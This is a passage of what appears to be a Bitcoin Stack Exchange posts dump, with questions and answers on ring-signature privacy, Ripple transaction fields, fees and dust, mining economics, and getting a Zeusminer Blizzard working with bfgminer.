value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these problems are addressed in the next point.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With ring signatures, you need all potential inputs to have same (or similar) value, which greatly restricts your anonymity set.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In fact, Greg Maxwell and I found a way such that every single output can be read as any uniform distribution of outputs (so 1BTC might be spendable as a single 1BTC output, or two 0.5 BTC outputs, or three 0.33 BTC outputs, etc.) There is a single &quot;real&quot; distribution, but only the creator of the output knows this, and it is not revealed except in the case of leaked keys. Therefore, literally every single output size can plausibly be claimed to be created by every output, and therefore all outputs can participate in each anonymity set. This scheme is described &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/wizardry/brs-arbitrary-output-sizes.txt&quot;&gt;in this writeup&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this is place, it is feasible to set a minimum anonymity set size, preventing people from using keys with no anonymity set and compromising their own and others' anonymity. They can still do this compromise by revealing their secret key, but it's not clear to me that this is even possible to prevent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Monero has addressed this issue in a similarly powerful manner, by implementing a scheme based on &lt;a href=&quot;https://people.xiph.org/%7Egreg/confidential_values.txt&quot;&gt;Greg Maxwell's Confidential Transactions&lt;/a&gt;. This novel scheme and implementation is called &lt;a href=&quot;https://lab.getmonero.org/pubs/MRL-0005.pdf&quot;&gt;Ring Confidential Transactions&lt;/a&gt;. Because the value of outputs is no longer known under this RingCT scheme, you are no longer forced to only mix with a small subset of outputs (ie. those of the same denomination, which in CryptoNote and pre-RingCT Monero are all ^10 denominated outputs). This massively increases the potential anonymity set, and ensures that even large outputs are not &quot;stuck&quot; with only a handful of matching, mixable outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;And by the way,&lt;/b&gt; Dash (formerly Darkcoin) does not provide anonymity. They attached a (broken) implementation of CoinJoin to the ordinary Bitcoin client, and at least initially released it as a closed-source software. I haven't looked into Anoncoin, but the best advice I have for folks looking into altcoins is to assume they are uninteresting (and probably &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/alts.pdf&quot;&gt;dangerously broken&lt;/a&gt;) until someone has demonstrated a concrete technical innovation.&lt;/p&gt;&#xA;" OwnerUserId="16909" OwnerDisplayName="Andrew Poelstra" LastEditorUserId="35841" LastEditDate="2016-07-21T20:18:41.777" LastActivityDate="2016-07-21T20:18:41.777" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="29474" PostTypeId="2" ParentId="29470" CreationDate="2014-07-14T13:39:48.993" Score="3" Body="&lt;p&gt;This is technically possible and can be easily implemented, but I see two problems, which may be stopping people from creating such a service:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Trust: how can the service ensure its clients that it will not&#xA;steal their money?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Security: email is not secure, a man in the middle can access the&lt;br&gt;&#xA;email message on its way before the recipient, and steal the money.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If there is a solution to these two problems, there will be demand and implementations of such service.&lt;/p&gt;&#xA;" OwnerUserId="18584" LastEditorUserId="18584" LastEditDate="2014-11-04T04:58:45.423" LastActivityDate="2014-11-04T04:58:45.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29475" PostTypeId="2" ParentId="29464" CreationDate="2014-07-14T15:35:34.383" Score="1" Body="&lt;p&gt;It seems like the easiest way to achieve this would just be, e.g., to mine BTC at full speed for 12 hours hours, then stop it and mine NMC for 12 hours. A simple cron job or something similar could accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-07-14T15:35:34.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29476" PostTypeId="1" CreationDate="2014-07-14T19:42:55.730" Score="4" ViewCount="172" Body="&lt;p&gt;Bitcoin has the vulnerability of a 51% attack for a proof of work currency, but what pitfalls does a 100% proof of stake (pos) currency have like NXTcoin?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="2306" LastEditDate="2014-09-12T01:10:05.383" LastActivityDate="2014-09-12T01:10:05.383" Title="What are some of the pitfalls of a 100% proof of stake currency (pos) like NXT?" Tags="|security|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29477" PostTypeId="1" AcceptedAnswerId="29487" CreationDate="2014-07-14T21:00:12.853" Score="0" ViewCount="210" Body="&lt;p&gt;At the moment I am implementing a transaction overwriting with NOPs in Ripple. I want to store information about a transaction I am overwriting inside of the NOP. Looking at the &lt;code&gt;PreviousTxnID&lt;/code&gt; field it appears to be ideal for this purpose. However, when I try to use it I get an error of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;id&quot;: 11,&#xA;  &quot;status&quot;: &quot;success&quot;,&#xA;  &quot;type&quot;: &quot;response&quot;,&#xA;  &quot;result&quot;: {&#xA;    &quot;engine_result&quot;: &quot;tefWRONG_PRIOR&quot;,&#xA;    &quot;engine_result_code&quot;: -184,&#xA;    &quot;engine_result_message&quot;: &quot;This previous transaction does not match.&quot;,&#xA;    &quot;tx_blob&quot;: &quot;1200032200000000240000F69555DA10915AA58303872299078F4CD9AD81D4771219C38764BE84B3AB3D6763977268400000000000000F7321025D9E40A50D78347EB8AFF7A36222BBE173CB9D06E68D109D189FF8616FC211077446304402204710D875B7DFC0F9A9F2101F67E0043AE255258BF9F6F21BCF7D42BC19B3A41E0220554CAB999EF43FD3EF720C6869D63F2E324AD774662B51AE4599F50B60E9B4DA8114448BD3912AA0E86A18B17784E7177B262FC38D73&quot;,&#xA;    &quot;tx_json&quot;: {&#xA;      &quot;Account&quot;: &quot;rfESTMcbvbvCBqU1FTvGWiJP8cmUSu4GKg&quot;,&#xA;      &quot;Fee&quot;: &quot;15&quot;,&#xA;      &quot;Flags&quot;: 0,&#xA;      &quot;PreviousTxnID&quot;: &quot;DA10915AA58303872299078F4CD9AD81D4771219C38764BE84B3AB3D67639772&quot;,&#xA;      &quot;Sequence&quot;: 63125,&#xA;      &quot;SigningPubKey&quot;: &quot;025D9E40A50D78347EB8AFF7A36222BBE173CB9D06E68D109D189FF8616FC21107&quot;,&#xA;      &quot;TransactionType&quot;: &quot;AccountSet&quot;,&#xA;      &quot;TxnSignature&quot;: &quot;304402204710D875B7DFC0F9A9F2101F67E0043AE255258BF9F6F21BCF7D42BC19B3A41E0220554CAB999EF43FD3EF720C6869D63F2E324AD774662B51AE4599F50B60E9B4DA&quot;,&#xA;      &quot;hash&quot;: &quot;B1932085BA94FEBE7A360D71359752A1666C48CCBBD97DFF16FFFA8626EDA253&quot;&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to use &lt;code&gt;PreviousTxnID&lt;/code&gt; to overwrite a prior transaction in Ripple? (say, a transaction we submitted that never got into a ledger due to the use of LastLedgerSequence).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-07-15T07:05:29.490" Title="How to properly use PreviousTxnID in a Ripple Transaction?" Tags="|transactions|protocol|ripple|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29478" PostTypeId="1" CreationDate="2014-07-14T23:22:53.997" Score="0" ViewCount="74" Body="&lt;p&gt;I just made a transfer of 0.06 BTC, you can look it up on &lt;a href=&quot;https://blockchain.info/tx-index/005dcacae99b2e50d3deac9d8c0fd0e903a9cfbd9fefd9ebf3dc28eb3d6fe69a&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem now is that my receiving client (Multibit) doesn't show those 0.06 BTC, it only shows 0.0001 BTC have been spend (most probably as mining fee). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ghJek.jpg&quot; alt=&quot;Transaction details of the receiving client&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'view at blockchain.info' button takes me to the same Blockchain page as mentioned in the beginning. How should i understand this, and where did my 0.06 BTC go?&lt;/p&gt;&#xA;" OwnerUserId="18598" LastActivityDate="2014-07-15T05:33:06.963" Title="Blockchain and Bitcoin client difference of amount" Tags="|transactions|blockchain|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29479" PostTypeId="2" ParentId="20960" CreationDate="2014-07-14T23:38:03.213" Score="1" Body="&lt;p&gt;Had you read the page on Slush's Pool on how to set up CGMiner, you would have gotten it right the first time. Use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.exe --bmsc-options 115200:20 -o stratum+tcp://stratum.bitcoin.cz:3333 -u Starfleet.worker3 -p * --bmsc-freq 0781&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user18588" LastEditorUserId="15412" LastEditDate="2014-07-15T03:07:56.980" LastActivityDate="2014-07-15T03:07:56.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29484" PostTypeId="2" ParentId="29477" CreationDate="2014-07-15T04:17:18.850" Score="0" Body="&lt;p&gt;You can find the valid AccountSet options in the documentation: &lt;a href=&quot;https://ripple.com/wiki/Transaction_Format#AccountSet_.283.29&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Transaction_Format#AccountSet_.283.29&lt;/a&gt; (PreviousTxnID is not one of them.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PreviousTxnID appears to be a field that is returned by rippled, not a parameter you set yourself.&lt;/p&gt;&#xA;" OwnerUserId="14383" LastActivityDate="2014-07-15T04:17:18.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29485" PostTypeId="2" ParentId="29478" CreationDate="2014-07-15T05:33:06.963" Score="1" Body="&lt;p&gt;You've probably sent TO an address in your wallet. The amount is shown as a net figure. I.e.it is a bit like you have transfered money from your left pocket to your right pocket. MultiBit just shows the fee that you have sent to the miner.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-07-15T05:33:06.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29486" PostTypeId="2" ParentId="29476" CreationDate="2014-07-15T06:39:07.930" Score="3" Body="&lt;p&gt;One can verify legitimacy of a Bitcoin branch simply by checking proof-of-work of the block headers. In Nxt it's necessary to know who the owner of the coins, so the whole blockchain data must be downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be the only fundamental pitfall that arises from very nature of Proof-of-Stake cryptocurrencies.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-15T06:39:07.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29487" PostTypeId="2" ParentId="29477" CreationDate="2014-07-15T07:05:29.490" Score="3" Body="&lt;p&gt;The &lt;code&gt;PreviousTxnID&lt;/code&gt; field is deprecated, broken, and should never be used. Instead, use &lt;code&gt;AccountTxnID&lt;/code&gt;. It works as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You must use fully-canonical signatures and you should set the fully canonical flag (0x80000000) on all your transactions. Otherwise, the transaction ID could (in theory) be maliciously modified.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You must enable transaction ID tracking on your account. You do this by performing an &lt;code&gt;AccountSet&lt;/code&gt; transaction with &lt;code&gt;SetFlag&lt;/code&gt; set to 5. This causes your account to begin tracking each account that it executes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Include a &lt;code&gt;PreviousTxnID&lt;/code&gt; field in your transactions that contains the ID of the previous transaction. This will ensure that a transaction only applies if it has the expected predecessor transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, replacing a transaction with a nop will invalidate any successor transactions that have a &lt;code&gt;PreviousTxnID&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to disable &lt;code&gt;PreviousTxnID&lt;/code&gt; tracking for your account, perform an &lt;code&gt;AccountSet&lt;/code&gt; transaction with &lt;code&gt;ClearFlag&lt;/code&gt; set to 5.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-15T07:05:29.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29488" PostTypeId="1" CreationDate="2014-07-15T07:51:02.640" Score="-1" ViewCount="35" Body="&lt;p&gt;I am a newbie here, I wanted to know what does &quot;Confirmed Exchanged&quot; and &quot;Estimated Exchanged&quot; mean while fetching a user's Transaction history?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example return that I got from an API as user stats:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;confirmed_exchanged&quot;: &quot;0.01432604&quot;,&#xA;    &quot;estimated_unexchanged&quot;: &quot;0.01875723&quot;,&#xA;    &quot;transaction_history&quot;: [&#xA;        {&#xA;            &quot;amount&quot;: &quot;0.04475755&quot;,&#xA;            &quot;date&quot;: &quot;2014-01-17 18:15:01+00:00&quot;,&#xA;            &quot;donation&quot;: 0.0,&#xA;            &quot;fee&quot;: 0.0&#xA;        },&#xA;        {&#xA;            &quot;amount&quot;: &quot;0.00326109&quot;,&#xA;            &quot;date&quot;: &quot;2014-01-18 16:50:02+00:00&quot;,&#xA;            &quot;donation&quot;: 0.0,&#xA;            &quot;fee&quot;: 0.0&#xA;        },&#xA;    ],&#xA;    &quot;user&quot;: xx12,&#xA;    &quot;username&quot;: &quot;tester&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="18453" LastEditorUserId="18453" LastEditDate="2014-07-15T09:04:18.723" LastActivityDate="2014-08-14T09:48:54.843" Title="What does &quot;Confirmed Exchanged&quot; and &quot;Estimated Exchanged&quot; mean?" Tags="|mining-pools|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29489" PostTypeId="2" ParentId="18329" CreationDate="2014-07-15T08:53:43.877" Score="0" Body="&lt;p&gt;It makes sense to me, if you're telling them you want to buy 20 BTC at $700 USD why would it purchase the remaining 5 BTC at a price higher than you wanted? If you want to buy the 20 BTC immediately, then look at the order book and figure out the price you'll need to enter to have enough volume to fulfill your order. Or use a service like BTX Trader which interfaces with multiple exchange APIs and offers features like market orders, which really just look at the order book and figures out the price for you for an additional comission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as to why many exchanges dont offer market orders? Who knows, they're immature? If it really bothers you, it isnt that hard to interface with their API and write a script to place market orders.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2014-07-15T08:53:43.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29490" PostTypeId="2" ParentId="29488" CreationDate="2014-07-15T08:56:27.797" Score="0" Body="&lt;p&gt;I'm guessing this is the output of a mining pool that permits people to mine one currency and get paid in another. Most likely, &quot;confirmed_exchanged&quot; means the total amount the user has actually exchanged. And most likely, &quot;estimated_unexchanged&quot; is the amount the user has not yet exchanged, estimated because the exchange rate can change.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-15T08:56:27.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29491" PostTypeId="2" ParentId="18329" CreationDate="2014-07-15T08:58:16.647" Score="1" Body="&lt;p&gt;There's nothing a market order can do that a limit order can't do. To place a market order, just place a limit order for the amount you want to buy at the worst price you are willing to pay.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-15T08:58:16.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29492" PostTypeId="2" ParentId="24011" CreationDate="2014-07-15T09:01:25.593" Score="1" Body="&lt;p&gt;The answer is, as Nate explained, that the miner is a sunk cost. Obviously, no sane person would buy a miner if they knew they would be in the situation you described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The future value of Bitcoins is almost irrelevant to the profitability of mining. You can get the same exposure to the profitability of Bitcoins by buying and holding. (The contrary assumption leads to comically absurd results.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sane people buy Bitcoin mining hardware because they expect to do better than they would if they used that same money to buy Bitcoins. Changes in difficulty or the cost of electricity may result in them not making money, but no human endeavor is certain to succeed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as it costs more to provide electricity to the miner than the value of the coins mined, the miner get shut off and retired.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-15T09:01:25.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29493" PostTypeId="1" AcceptedAnswerId="29500" CreationDate="2014-07-15T13:37:53.000" Score="0" ViewCount="5224" Body="&lt;p&gt;I'm having trouble getting my Zeusminer Blizzard running; neither cgminer nor BFGminer detect it. Here are the results of &lt;code&gt;lsusb&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Bus 001 Device 025: ID 10c4:ea60 Cygnal Integrated Products, Inc. CP210x UART Bridge / myAVR mySmartUSB light&#xA;[...] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;bfgminer -d? -D&lt;/code&gt; &lt;a href=&quot;http://pastebin.com/J07RPpPy&quot; rel=&quot;nofollow noreferrer&quot;&gt;says this&lt;/a&gt;. The relevant line, I &lt;em&gt;think&lt;/em&gt;, is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; [2014-07-15 09:33:03] lowlevel_scan: Found usb device at usb:001:025 (path=(null), vid=10c4, pid=ea60, manuf=Silicon Labs, prod=CP2102 USB to UART Bridge Controller, serial=0001)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here is how I start up BFG: &lt;code&gt;/home/me/crypto/bfgminer/bfgminer -S zeus:/dev/ttyUSB25 --set zeus:clock=340 --o stratum+tcp://mypool.com:6030 -u myuser -p mypass&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've also tried &lt;code&gt;-S zeus:auto&lt;/code&gt;, /dev/tty25 and /dev/ttyS25 (because both of those files exist in my /dev directory, so I gave them a try), and detecting devices from the menu in BFG (which has actually worked for me in the past, but alas not this time). I made sure to compile it with the --enable-scrypt option.&lt;/p&gt;&#xA;&lt;p&gt;I've determined that it's Device 025 by unplugging it and plugging it back in.&lt;/p&gt;&#xA;&lt;p&gt;Any help or hints, anything to try, would be greatly appreciated; I'm eager to get my Zeusminer working and have been banging my head against a wall for a day trying. I also tried the version of cgminer that comes with it, with the same results.&lt;/p&gt;&#xA;&lt;p&gt;Update: I'm using Bfgminer 4.4.0, which is the most recent, compiled from github yesterday. I compiled with --enable-script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update2&lt;/strong&gt;: Using the new command line arguments from Mathias711 below, the Zeusminer is finally detected, but throws errors and does not hash. The errors are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ZUS 0aa: Comms error (werr=1)&#xA; [2014-07-15 22:52:40] ZUS 0aa: Failed to reopen on /dev/ttyUSB0&#xA; [2014-07-15 22:52:40] ZUS 0aa failure, attempting to reinitialize&#xA; [2014-07-15 22:52:40] ZUS 0aa: Failed to reopen on /dev/ttyUSB0&#xA; [2014-07-15 22:52:40] ZUS 0aa failure, disabling!&#xA; [2014-07-15 22:52:40] ZUS 0aa being disabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Those are using &lt;code&gt;/home/me/crypto/bfgminer/bfgminer --scrypt -S zeusminer:all --set zeusminer:clock=340 -o stratum+tcp://myreu.nut2pools.com:6030 -u me -p pass&lt;/code&gt; It actually does hash a tiny bit, but I can't tell if that's a display error or what.&lt;/p&gt;&#xA;&lt;h1&gt;Update 3: Solved!&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The first problem was the command I was starting it with. &amp;quot;zeus&amp;quot; is no longer a valid option; in newer versions of BFG, it's &amp;quot;zeusminer&amp;quot;. The final, working command in BFGminer 4.4.1 is &lt;code&gt;/home/me/crypto/bfgminer/bfgminer --scrypt -S zeusminer:all --set zeusminer:clock=340 -o stratum+tcp://myreu.nut2pools.com:6030 -u me -p pass&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second issue, the one that caused the list of errors above, was a bad power supply. I decided to try it with a power supply that I knew was good, and as soon as I plugged it in the errors stopped and it began to hash. It's pretty scary that it was running for hours with a bad power supply; I've had that ruin entire computers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I've read reports of other people getting bad power supplies with their Blizzards, too. Combined with my own experiences on this one, if I ever buy another, the power supply is going right in the trash.&lt;/p&gt;&#xA;" OwnerUserId="11638" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-02-26T23:48:21.803" Title="Neither cgminer nor BFGminer detect my Zeusminer Blizzard. (Ubuntu/Linux/Mint)" Tags="|cgminer|asic|ubuntu|linux|bfgminer|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29494" PostTypeId="1" CreationDate="2014-07-15T13:38:49.493" Score="1" ViewCount="494" Body="&lt;p&gt;What is the absolute minimum amount which when transferred over a tx its value equals the tx's suggested fee? Is it the dust amount of 0.00005430 BTC? How is this value affected when that amount is the only unspent output spent in the tx and when there are more unspent outputs than just this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant question:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17830/whats-the-minimum-transaction-with-bitcoin&quot;&gt;What&amp;#39;s the minimum transaction with bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-09-13T17:24:49.917" Title="Minimum tx amount where amount = fee" Tags="|transaction-fees|raw-transaction|dust|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29495" PostTypeId="1" CreationDate="2014-07-15T15:10:28.353" Score="1" ViewCount="496" Body="&lt;p&gt;I'm using: &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe&lt;/a&gt; to import the blockchain into a mysql DB it is almost done after 5 days. So I started looking at the data and didn't see any addresses. I know the BTC client doesn't use those, but it still would be nice to have them in another table. I was looking around at the code and found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def hash_to_address(version, hash):&#xA;    vh = version + hash&#xA;    return base58.b58encode(vh + double_sha256(vh)[:4])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In: &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe/blob/3004fe4bad6f64d4c032c735ee23bf9f052d825b/Abe/util.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe/blob/3004fe4bad6f64d4c032c735ee23bf9f052d825b/Abe/util.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run a pubkey_hash through that function I don't get the expected result of an address. For example taking the following pubkey_hash: 62E907B15CBF27D5425399EBF6F0FB50EBB88F18&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should get: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead I get: 6GEZdxx5UiTk3U3LaLfsWwRaFAvXEpPNS5R4mqsJDXVJcTNNngTyB5i9S76MLTq&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script I created is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import util&#xA;hash = '62E907B15CBF27D5425399EBF6F0FB50EBB88F18'&#xA;print util.hash_to_address(&quot;00&quot;, hash)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="18597" LastEditorUserId="18597" LastEditDate="2014-07-20T00:21:14.097" LastActivityDate="2014-07-20T00:21:14.097" Title="How to get bitcoin address from the pubkey_hash using bitcoin-abe or something else?" Tags="|address|script|hash|python|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29496" PostTypeId="2" ParentId="29494" CreationDate="2014-07-15T15:18:26.320" Score="2" Body="&lt;p&gt;There is no minimum amount. You can send 0.00000001 btc and even 0.0 btc without fees and there is a possibility that this transaction would be mined by some miner. But the probability is very low, because &quot;standard nodes&quot; (by bitcoin devs) do not relay such transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should add a fee if you want to send less than 0.00005xxx (I do not remember the exact value). The fee is 0.0001 per kb for clients running 0.8.x and 0.00001 per kb for clients on version 0.9.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see transaction which transfers small amount of btc with a higher fee. &lt;a href=&quot;https://blockchain.info/ru/tx/b07f23ce5d6a3746a3f8bd5202daa1084686812aa4ecce290208fbe84e68f564&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/ru/tx/b07f23ce5d6a3746a3f8bd5202daa1084686812aa4ecce290208fbe84e68f564&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-07-15T15:18:26.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29497" PostTypeId="2" ParentId="24011" CreationDate="2014-07-15T15:58:27.327" Score="0" Body="&lt;p&gt;Losing 20% a month?&#xA;Are you nuts?&#xA;I bought a miner from KNC last year, the miner arrived a couple of weeks late, but I counted on that. &#xA;Right now, If I sell my bitcoins as of today's price I would have not only ROI but earned quite a few dollars, not to mention If I would have sold when Bitcoin was at 1000$.&#xA;Anyway as of today my miner is mining 0.01BTC/day, that is roughly 30cents per month, which equals to 186$. It is still profitable for me to keep mining even if I deduce the electricity bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am one of those that keep his coin in hope of better times, but if I were another kind of guy I would not only have got my investment back, I would have also earnt some nice bucks.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastEditorUserId="12249" LastEditDate="2014-07-16T10:00:38.983" LastActivityDate="2014-07-16T10:00:38.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29499" PostTypeId="1" CreationDate="2014-07-15T18:38:09.297" Score="1" ViewCount="89" Body="&lt;p&gt;We all know that there 5 common types of Standard transaction scripts. My question is if we create a script under what rules is it decided if it standard or non-standard? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the hypothesis that it is non-standard if some miners accept then what happens? It will be included in a block only if these miners succeed in creating a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore signing transactions without SIGHASH_ALL but with any other hash type is considered non-standard?&lt;/p&gt;&#xA;" OwnerUserId="10246" LastEditorUserId="5757" LastEditDate="2014-07-15T22:16:16.037" LastActivityDate="2014-07-15T22:16:16.037" Title="Standard Transactions and relaxation rules" Tags="|transactions|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29500" PostTypeId="2" ParentId="29493" CreationDate="2014-07-15T20:21:35.737" Score="1" Body="&lt;p&gt;There are a few things that might be going wrong.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, are you sure that your user has rights to read and write the serial port?  (There are plenty of tutorials online about how to do this.)  You can check if that is the problem by running (temporarily) as root.  If it starts to work, then you can go back and sort out how to give your user rights to the serial port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, your command line looks like it may be wrong.   I say &quot;may&quot; because it depends on whose version of bfgminer you are running with.   My recommendation is to get the official one from the Github site and build it.   Assuming that is the one you have, then you need to call the miners &lt;code&gt;zeusminer&lt;/code&gt; instead of just &lt;code&gt;zeus&lt;/code&gt;.   You should also be using &lt;code&gt;-o&lt;/code&gt; to define your pool, not &lt;code&gt;--set&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, you need to tell bfgminer to operate in scrypt mode, or it will default to SHA256 mode.  This is done by adding the &lt;code&gt;--scrypt&lt;/code&gt; command line option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this command line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo /home/me/crypto/bfgminer/bfgminer --scrypt -S zeusminer:all --set zeusminer:clock=340 -o stratum+tcp://mypool.com:6030 -u myuser -p mypass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just fired up two Blizzard using a command line very similar to this.  (The only difference is I use the &lt;code&gt;-O&lt;/code&gt; option to pass my user name and password together.)&lt;/p&gt;&#xA;" OwnerUserId="18606" LastEditorUserId="15412" LastEditDate="2014-07-15T22:03:51.233" LastActivityDate="2014-07-15T22:03:51.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
